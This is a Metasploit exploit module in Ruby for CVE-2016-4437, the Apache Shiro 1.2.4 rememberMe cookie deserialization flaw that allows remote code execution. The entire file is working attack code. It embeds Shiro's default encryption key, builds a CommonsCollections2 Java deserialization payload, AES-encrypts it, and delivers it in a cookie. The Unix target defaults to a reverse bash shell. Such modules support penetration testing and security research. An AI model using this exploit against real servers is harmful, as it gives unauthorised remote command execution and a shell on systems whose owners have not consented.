##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code on vulnerable
          installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
          also be exploitable if the encryption key used by Shiro to encrypt rememberMe
          cookies is known.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'L / l-codes[at]qq.com' # Metasploit module
        ],
        'References' => [
          ['CVE', '2016-4437'],
          ['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
        ],
        'Platform' => %w[win unix],
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command payload',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows Command payload',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-06-07',
        'Privileged' => false,
        'DefaultOptions' => {
          'WfsDelay' => 5
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
        OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
      ]
    )
  end

  def aes_encrypt(payload)
    aes = OpenSSL::Cipher.new('aes-128-cbc')
    aes.encrypt
    aes.key = Rex::Text.decode_base64(datastore['ENC_KEY'])
    aes.random_iv + aes.update(payload) + aes.final
  end

  def exploit
    java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
    ciphertext = aes_encrypt(java_payload)
    base64_ciphertext = Rex::Text.encode_base64(ciphertext)

    send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'GET',
      'cookie' => "rememberMe=#{base64_ciphertext}"
    })
  end

end